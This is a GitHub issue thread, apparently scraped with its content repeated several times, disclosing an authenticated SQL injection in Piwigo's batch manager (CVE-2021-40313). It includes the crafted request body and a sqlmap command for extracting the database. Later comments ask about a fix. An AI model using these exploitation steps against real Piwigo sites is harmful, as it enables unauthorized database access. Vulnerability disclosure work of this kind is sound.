I find that there is a sqli in piwigo,here are my descriptions;
At first we need to login and then we can Visit the website http://your-url/admin.php
then we need a Key Parameters called pwg_token,there are many ways to get a token
i visit http://your-url/admin.php?page=user_list
then i got pwg_token=3c28c3bf6adc56b0695cf64073605f9b
The point of vulnerability is in admin/batch_manager_global.php;The parameter selection is not filtered
Unfiltered parametersselection is spliced
The next step is to capture packets using BurpSuite by simply constructing parameters
selection%5B%5D=1&selectAction=delete_derivatives&submit=1&del_derivatives_type=1&del_tags%5B%5D=1&pwg_token=4a3513cd81aa311107704fd00bde0a79
Remember to replace the value of the token above
Save parameters to file,then just use sqlmap to exploit
python sqlmap.py -r 1233 --current-db
I find that there is a sqli in piwigo,here are my descriptions;
At first we need to login and then we can Visit the website http://your-url/admin.php
then we need a Key Parameters called pwg_token,there are many ways to get a token
i visit http://your-url/admin.php?page=user_list

then i got pwg_token=3c28c3bf6adc56b0695cf64073605f9b
The point of vulnerability is in admin/batch_manager_global.php;The parameter selection is not filtered

Unfiltered parametersselection is spliced

The next step is to capture packets using BurpSuite by simply constructing parameters
selection%5B%5D=1&selectAction=delete_derivatives&submit=1&del_derivatives_type=1&del_tags%5B%5D=1&pwg_token=4a3513cd81aa311107704fd00bde0a79
Remember to replace the value of the token above

Save parameters to file,then just use sqlmap to exploit
python sqlmap.py -r 1233 --current-db

<!-- github-sync-id:982002210 -->
@Stakcery why was this closed? Someone has requested CVE identifier for this vulnerability. Please see: https://nvd.nist.gov/vuln/detail/CVE-2021-40313
@plegall is this valid and needs to be fixed?
<!-- github-comment-id:987834326 -->
I submitted this earlier and clicked close by the way
So, is this fixed? If so, what is the fixed version/commit?
> I submitted this earlier and clicked close by the way
So, is this fixed? If so, what is the fixed version/commit?
<!-- github-comment-id:989134412 -->
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
I find that there is a sqli in piwigo,here are my descriptions;





At first we need to login and then we can Visit the website http://your-url/admin.php
then we need a Key Parameters called pwg_token,there are many ways to get a token
i visit http://your-url/admin.php?page=user_list
then i got pwg_token=3c28c3bf6adc56b0695cf64073605f9b
The point of vulnerability is in admin/batch_manager_global.php;The parameter selection is not filtered
Unfiltered parametersselection is spliced
The next step is to capture packets using BurpSuite by simply constructing parameters
selection%5B%5D=1&selectAction=delete_derivatives&submit=1&del_derivatives_type=1&del_tags%5B%5D=1&pwg_token=4a3513cd81aa311107704fd00bde0a79
Remember to replace the value of the token above
Save parameters to file,then just use sqlmap to exploit
python sqlmap.py -r 1233 --current-db
@Stakcery why was this closed? Someone has requested CVE identifier for this vulnerability. Please see: https://nvd.nist.gov/vuln/detail/CVE-2021-40313
@plegall is this valid and needs to be fixed?
I submitted this earlier and clicked close by the way
So, is this fixed? If so, what is the fixed version/commit?